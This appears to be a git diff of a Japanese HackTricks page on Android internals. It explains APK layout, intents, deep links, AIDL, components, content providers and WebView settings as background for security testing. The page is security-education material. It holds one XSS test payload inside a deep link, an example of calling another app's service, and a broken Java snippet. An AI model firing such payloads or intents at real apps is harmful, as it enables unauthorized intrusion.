- デフォルトでアプリケーションが実行する、コンパイルされたJava(またはKotlin)コードを表すDalvikバイトコードが含まれています。
|
||||
- lib/
|
||||
- CPUアーキテクチャごとにサブディレクトリに分かれたネイティブライブラリが格納されています。
|
||||
- `armeabi`:ARMベースのプロセッサ用のコード
|
||||
- `armeabi-v7a`:ARMv7およびそれ以上のプロセッサ用のコード
|
||||
- `x86`:X86プロセッサ用のコード
|
||||
- `mips`:MIPSプロセッサ用のコードのみ
|
||||
- assets/
|
||||
- アプリに必要なその他のファイルを格納し、追加のネイティブライブラリやDEXファイルを含むことがあります。マルウェア作成者が追加のコードを隠すために使用することもあります。
|
||||
- res/
|
||||
- resources.arscにコンパイルされていないリソースが含まれています
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc:バイナリXMLなど、事前にコンパイルされたリソースが含まれています。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 証明書がここにあります!
|
||||
- **classes.dex**
|
||||
- デフォルトでアプリが実行する、コンパイルされたJava(またはKotlin)コードを表すDalvikバイトコードが含まれています。
|
||||
- lib/
|
||||
- CPUアーキテクチャごとにサブディレクトリに分かれたネイティブライブラリが格納されています。
|
||||
- `armeabi`:ARMベースのプロセッサ用のコード
|
||||
- `armeabi-v7a`:ARMv7およびそれ以上のプロセッサ用のコード
|
||||
- `x86`:X86プロセッサ用のコード
|
||||
- `mips`:MIPSプロセッサ用のコードのみ
|
||||
- assets/
|
||||
- アプリが必要とするさまざまなファイルを格納し、追加のネイティブライブラリやDEXファイルを含むことがあります。マルウェアの作者が追加のコードを隠すために使用することがあります。
|
||||
- res/
|
||||
- resources.arscにコンパイルされていないリソースが含まれています
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Android開発では、**JavaまたはKotlin**がアプリを作成するために使用されます。デスクトップアプリケーションとは異なり、Androidはこのコードを**Dalvik Executable (DEX) bytecode**にコンパイルします。以前はDalvik仮想マシンがこのバイトコードを処理していましたが、新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。
|
||||
|
||||
逆コンパイルには、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンであり、ソースコードをバイトコード命令に変換することでアセンブリ言語のように機能します。この文脈では、Smaliとbaksmaliはアセンブリと逆アセンブリのツールを指します。
|
||||
逆コンパイルには、**Smali**が重要です。これはDEXバイトコードの人間が読めるバージョンであり、ソースコードをバイトコード命令に変換することでアセンブリ言語のように機能します。この文脈では、Smaliとbaksmaliはアセンブリと逆アセンブリのツールを指します。
|
||||
|
||||
## インテント
|
||||
|
||||
インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間やコンポーネント間でデータをやり取りすることもできます。
|
||||
インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、アプリ間やコンポーネント間でデータをやり取りすることもでき、HTTP通信でのGET/POSTリクエストのように機能します。
|
||||
|
||||
つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることができ**、**特定の受信者なしに送信**することもできます。\
|
||||
つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることができ**、または特定の受信者なしに送信することもできます。\
|
||||
簡単に言うと、インテントは以下のように使用できます:
|
||||
|
||||
* 通常はアプリのユーザーインターフェースを開くためにActivityを開始するため
|
||||
|
@ -134,13 +135,13 @@ Android開発では、**JavaまたはKotlin**がアプリを作成するため
|
|||
|
||||
### インテントフィルタ
|
||||
|
||||
**インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を説明し、どのようなアクションを実行できるかや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることも選択肢です。
|
||||
**インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を説明し、実行できるアクションや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることもできます。
|
||||
|
||||
インテントフィルタは、カテゴリ、アクション、およびデータフィルタで構成され、追加のメタデータを含めることも可能です。この設定により、特定の基準に一致するインテントを処理できるようになります。
|
||||
インテントフィルタは、カテゴリ、アクション、およびデータフィルタで構成され、追加のメタデータを含めることもできます。この設定により、特定の基準に一致するインテントを処理できるコンポーネントが可能になります。
|
||||
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのためのインテントフィルタが宣言されている場合にのみ、他のアプリとやり取りできると見なされます。ただし、開発者がこれらのコンポーネントを意図せずに他のアプリとやり取りさせないようにする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのコンポーネントのためにインテントフィルタが宣言されている場合にのみ、他のアプリとやり取りできると見なされます。ただし、開発者はこれらのコンポーネントを意図せず他のアプリとやり取りさせないように明示的に非公開に保つ方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。
|
||||
|
||||
さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することができ、誰がそれとやり取りできるかに対する追加のセキュリティと制御のレイヤーを追加します。
|
||||
さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することで、セキュリティと誰がそれとやり取りできるかを制御する追加のセキュリティレイヤーを追加できます。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -173,7 +174,7 @@ An explicit intent specifies the class name it's targeting:
|
|||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
他のアプリケーションで以前に宣言されたインテントにアクセスするには、次のようにします:
|
||||
他のアプリケーションで以前に宣言されたインテントにアクセスするためには、次のようにします:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
|
@ -181,26 +182,26 @@ context.startService(intent);
|
|||
```
|
||||
### ペンディングインテント
|
||||
|
||||
これにより、他のアプリケーションが**あなたのアプリケーションの代わりにアクションを実行**できます。ペンディングインテントを構築する際は、**インテントと実行するアクションを指定する必要があります**。**宣言されたインテントが明示的でない**場合(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代わりに宣言されたアクションを実行**できます。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代わりに任意のアクションを実行**できます。
|
||||
これにより、他のアプリケーションが**あなたのアプリケーションの代わりにアクションを実行**できます。ペンディングインテントを構築する際は、**インテントと実行するアクションを指定する必要があります**。**宣言されたインテントが明示的でない**場合(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代わりに宣言されたアクションを実行**できます。さらに、**アクションが指定されていない**場合、悪意のあるアプリは**被害者の代わりに任意のアクションを実行**できます。
|
||||
|
||||
### ブロードキャストインテント
|
||||
|
||||
以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリケーションに受信される**ことができます。ただし、APIバージョン14以降では、Intent.set Packageを使用して**メッセージを受信するアプリを指定**することが可能です。
|
||||
以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリに受信される**ことができます。ただし、APIバージョン14以降では、Intent.set Packageを使用して**メッセージを受信するアプリを指定**することが可能です。
|
||||
|
||||
また、ブロードキャストを送信する際に**パーミッションを指定することも可能**です。受信アプリはそのパーミッションを持っている必要があります。
|
||||
|
||||
ブロードキャストには**2つのタイプ**があります:**通常**(非同期)と**順序付け**(同期)。**順序**は**受信側の構成された優先度に基づいて**います。**各アプリはブロードキャストを処理、中継、または破棄できます**。
|
||||
ブロードキャストには**通常**(非同期)と**順序付け**(同期)の**2つのタイプ**があります。**順序**は**レシーバ内で構成された優先順位に基づいて**います。**各アプリはブロードキャストを処理、中継、または破棄**することができます。
|
||||
|
||||
`Context`クラスから`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\
|
||||
また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはなくなります**。これを使用すると、受信コンポーネントをエクスポートする必要すらありません。
|
||||
また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはなく**なります。これを使用すると、レシーバコンポーネントをエクスポートする必要すらありません。
|
||||
|
||||
### スティッキーブロードキャスト
|
||||
|
||||
この種のブロードキャストは、**送信後も長い間アクセスできます**。\
|
||||
この種のブロードキャストは、**送信後も長い時間アクセスできます**。\
|
||||
これらはAPIレベル21で非推奨となり、**使用しないことが推奨**されています。\
|
||||
**これにより、任意のアプリケーションがデータを嗅ぎ取るだけでなく、変更することも可能**です。
|
||||
|
||||
**`sendStickyBroadcast`**や**`sendStickyBroadcastAsUser`**など、"sticky"という単語を含む関数を見つけた場合は、**影響を確認し、削除を試みてください**。
|
||||
**`sendStickyBroadcast`**や**`sendStickyBroadcastAsUser`**など、"sticky"という単語を含む関数を見つけた場合は、**影響を確認して削除を試みてください**。
|
||||
|
||||
## ディープリンク / URLスキーム
|
||||
|
||||
|
@ -226,26 +227,26 @@ Androidアプリケーションでは、**ディープリンク**が使用され
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Web からアクセスするには、次のようにリンクを設定することができます:
|
||||
Webからアクセスするには、次のようにリンクを設定することができます:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
**アプリで実行されるコード**を見つけるには、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
|
||||
アプリで実行される**コードを見つける**には、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
|
||||
|
||||
[HTML ページを使用せずにディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
|
||||
HTML ページを使用せずに[ディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを促進するために設計されています。別のプロセスのメモリに直接アクセスすることは Android では許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解する形式にマーシャリングして、異なるプロセス間での通信を容易にします。
|
||||
**Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを容易にするために設計されています。別のプロセスのメモリに直接アクセスすることは Android では許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解する形式に変換することで、異なるプロセス間の通信を容易にします。
|
||||
|
||||
### 主要な概念
|
||||
|
||||
- **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることができます。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。
|
||||
- **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることを可能にします。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。
|
||||
|
||||
- **Messenger**: バウンド サービスとして動作する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査して、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。
|
||||
- **Messenger**: バウンド サービスとして機能する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査し、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。
|
||||
|
||||
- **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder は異なるプロセスのメモリ空間間でのデータ転送を可能にするカーネルレベルのドライバとして機能します。さらなる理解のために、リソースが [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) で利用可能です。
|
||||
- **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder は異なるプロセスのメモリ空間間でのデータ転送を可能にするカーネルレベルのドライバとして機能します。さらなる理解のために、リソースが[こちら](https://www.youtube.com/watch?v=O-UHvFjxwZ8)で利用可能です。
|
||||
|
||||
## コンポーネント
|
||||
|
||||
|
@ -272,13 +273,13 @@ Android アプリでは、**アクティビティ**は画面のようなもの
|
|||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクとは限りません。懸念が生じるのは、機密データが適切に共有されていない場合であり、情報漏洩につながる可能性があります。
|
||||
しかし、別のアプリからアクティビティにアクセスすること自体が常にセキュリティリスクというわけではありません。懸念されるのは、機密データが適切に共有されていない場合であり、これは情報漏洩につながる可能性があります。
|
||||
|
||||
アクティビティのライフサイクルは、**`onCreate`** メソッドで始まり、UIの設定とアクティビティのユーザーとのやり取りの準備を行います。
|
||||
|
||||
### アプリケーションのサブクラス
|
||||
|
||||
Android開発では、アプリは[Application](https://developer.android.com/reference/android/app/Application)クラスの**サブクラス**を作成するオプションがありますが、これは必須ではありません。このようなサブクラスが定義されている場合、そのサブクラスがアプリ内で最初にインスタンス化されます。このサブクラスで実装されている場合、**`attachBaseContext`** メソッドは **`onCreate`** メソッドの前に実行されます。このセットアップにより、アプリケーションの残りの部分が開始される前に初期化を行うことができます。
|
||||
Android開発では、アプリは[Application](https://developer.android.com/reference/android/app/Application)クラスの**サブクラス**を作成するオプションがありますが、これは必須ではありません。このようなサブクラスが定義されている場合、それがアプリ内で最初にインスタンス化されるクラスとなります。このサブクラスで実装されている場合、**`attachBaseContext`** メソッドは **`onCreate`** メソッドの前に実行されます。このセットアップにより、アプリケーションの残りの部分が開始される前に初期化を行うことができます。
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -296,11 +297,11 @@ super.onCreate();
|
|||
```
|
||||
### サービス
|
||||
|
||||
[サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレータ**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、サービスは**長時間実行される操作**にとって重要です。
|
||||
[サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレータ**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、**長時間実行される操作**にはサービスが不可欠です。
|
||||
|
||||
サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を維持します。また、サービスの役割がアクティブなクライアント接続に依存する場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しに`onBind`メソッドを使用します。
|
||||
サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を継続します。また、サービスの役割がアクティブなクライアント接続に依存する場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しに`onBind`メソッドを使用します。
|
||||
|
||||
サービスの興味深い応用例には、アプリとのやり取りを妨げることなく、バックグラウンドで音楽を再生したりネットワークデータを取得したりすることが含まれます。さらに、サービスは**エクスポート**を介して同じデバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的に構成する必要があります。
|
||||
サービスの興味深い応用例には、アプリとのやり取りを妨げることなく、バックグラウンドで音楽を再生したり、ネットワークデータを取得したりすることが挙げられます。さらに、サービスは**エクスポート**を介して同じデバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的に構成する必要があります。
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
@ -308,19 +309,19 @@ super.onCreate();
|
|||
|
||||
**ブロードキャストレシーバ**は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは、**マニフェスト**を介してまたはアプリのコード内で **`registerReceiver`** API を使用して、**2つの主要な方法**で **レシーバを登録**できます。マニフェストでは、ブロードキャストは権限でフィルタリングされますが、動的に登録されたレシーバは登録時に権限を指定することもできます。
|
||||
|
||||
**インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの **`onReceive`** メソッドが呼び出され、アプリは低電池アラートに応じて動作を調整するなど、適切に反応することができます。
|
||||
**インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの **`onReceive`** メソッドが呼び出され、アプリは適切に反応することができます。たとえば、低バッテリーアラートに応じて動作を調整するなどです。
|
||||
|
||||
ブロードキャストは、**非同期**であり、順不同ですべてのレシーバに到達するか、**同期**であり、優先順位に基づいてブロードキャストを受信するかのいずれかです。ただし、どのアプリも自身を優先してブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
ブロードキャストは、**非同期**であり、順不同ですべてのレシーバに到達するか、**同期**であり、レシーバが優先順位に基づいてブロードキャストを受け取るかのいずれかです。ただし、どのアプリも自分自身を優先してブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
|
||||
レシーバの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信したインテントを操作でき、特に **順序付けられたブロードキャスト**では、インテントを変更したり破棄したりする必要があるため、レシーバによるデータの検証が重要です。
|
||||
|
||||
### コンテンツプロバイダ
|
||||
|
||||
**コンテンツプロバイダ**は、アプリケーション間で **構造化されたデータを共有**するために不可欠であり、データセキュリティを確保するために **権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。`readPermission` および `writePermission` のような特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェストで **`grantUriPermission`** 設定を介して付与でき、`path`、`pathPrefix`、`pathPattern` などの属性を活用して詳細なアクセス制御を行うことができます。
|
||||
**コンテンツプロバイダ**は、アプリケーション間で **構造化されたデータを共有**するために不可欠であり、データセキュリティを確保するために **権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。`readPermission` および `writePermission` のような特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェストで `grantUriPermission` 設定を介して付与でき、`path`、`pathPrefix`、`pathPattern` などの属性を活用して詳細なアクセス制御を行います。
|
||||
|
||||
脆弱性(SQLインジェクションなど)を防ぐために、入力検証が極めて重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()` などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。
|
||||
脆弱性(SQLインジェクションなど)を防ぐために、入力検証は極めて重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()` などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。
|
||||
|
||||
**FileProvider** は、ファイルを安全に共有することに焦点を当てた特殊なコンテンツプロバイダです。フォルダへのアクセスを制御するための特定の属性を持つアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダ構成を指すようになっています。機密データが誤って公開されるのを避けるために、ディレクトリを共有する際には注意が必要です。
|
||||
**FileProvider** は、ファイルを安全に共有することに焦点を当てた特殊なコンテンツプロバイダです。フォルダへのアクセスを制御するための特定の属性でアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダ構成を指すようになっています。機密データが誤って公開されるのを避けるために、ディレクトリを共有する際には注意が必要です。
|
||||
|
||||
FileProvider の例示的なマニフェスト宣言:
|
||||
```xml
|
||||
|
@ -338,42 +339,43 @@ android:resource="@xml/filepaths" />
|
|||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
For further information check:
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViewsはAndroidアプリ内でWebコンテンツを取得する**ミニウェブブラウザ**のようなものです。Webからまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じてこれらのリスクを**軽減**する方法があります。
|
||||
WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**.
|
||||
|
||||
Androidには2つの主要なWebViewタイプがあります:
|
||||
Android offers two main WebView types:
|
||||
|
||||
- **WebViewClient**は基本的なHTMLに適していますが、JavaScriptのalert関数をサポートしておらず、XSS攻撃のテスト方法に影響を与えます。
|
||||
- **WebChromeClient**は完全なChromeブラウザのエクスペリエンスに近い動作をします。
|
||||
- **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
||||
- **WebChromeClient** acts more like the full Chrome browser experience.
|
||||
|
||||
重要なポイントは、WebViewブラウザはデバイスのメインブラウザと**クッキーを共有しない**ことです。
|
||||
A key point is that WebView browsers do **not share cookies** with the device's main browser.
|
||||
|
||||
コンテンツの読み込みには、````loadUrl````, ````loadData````, ````loadDataWithBaseURL````などのメソッドが利用できます。これらのURLやファイルが**安全に使用される**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを介して管理できます。たとえば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすると、XSS攻撃を防ぐことができます。
|
||||
For loading content, methods such as ````loadUrl````, ````loadData````, and ````loadDataWithBaseURL```` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the ````WebSettings```` class. For instance, disabling JavaScript with ````setJavaScriptEnabled(false)```` can prevent XSS attacks.
|
||||
|
||||
JavaScriptの「Bridge」を使用すると、JavaオブジェクトがJavaScriptとやり取りでき、セキュリティを確保するためにAndroid 4.2以降ではメソッドに````@JavascriptInterface````を付ける必要があります。
|
||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with ````@JavascriptInterface```` for security from Android 4.2 onwards.
|
||||
|
||||
コンテンツアクセスを許可する(````setAllowContentAccess(true)````)と、WebViewsがContent Providersにアクセスできるようになりますが、コンテンツのURLが安全であることが確認されていない限り、リスクが生じる可能性があります。
|
||||
Allowing content access (````setAllowContentAccess(true)````) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
||||
|
||||
ファイルアクセスを制御するには:
|
||||
- ファイルアクセスを無効にする(````setAllowFileAccess(false)````)と、ファイルシステムへのアクセスが制限され、特定のアセットには例外があり、それらが機密性の高いコンテンツにのみ使用されることが保証されます。
|
||||
To control file access:
|
||||
- Disabling file access (````setAllowFileAccess(false)````) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
||||
|
||||
## その他のアプリコンポーネントとモバイルデバイス管理
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **アプリケーションのデジタル署名**
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- Androidアプリには**デジタル署名**が必要で、インストール前に**正当に作成された**ことを保証します。このプロセスではアプリ識別のために証明書が使用され、インストール時にデバイスのパッケージマネージャによって検証される必要があります。アプリは**自己署名されるか外部CAによって認証**され、未承認のアクセスから保護され、配信中にアプリが改ざんされないようにします。
|
||||
- **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
|
||||
|
||||
### **セキュリティ強化のためのアプリ検証**
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- **Android 4.2**から、**Verify Apps**という機能があり、ユーザーがインストール前にアプリの安全性をチェックできます。この**検証プロセス**により、ユーザーに潜在的に有害なアプリについて警告したり、特に悪意のあるアプリのインストールを防止したりすることができ、ユーザーセキュリティが向上します。
|
||||
- Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
|
||||
|
||||
### **モバイルデバイス管理(MDM)**
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDMソリューション**は**デバイス管理API**を介してモバイルデバイスの**監視とセキュリティ**を提供します。モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールが必要です。主な機能には**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティが確保されます。
|
||||
- **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -386,7 +388,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -396,10 +398,10 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
# Android タスクハイジャッキング
|
||||
# Android Task Hijacking
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**する場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
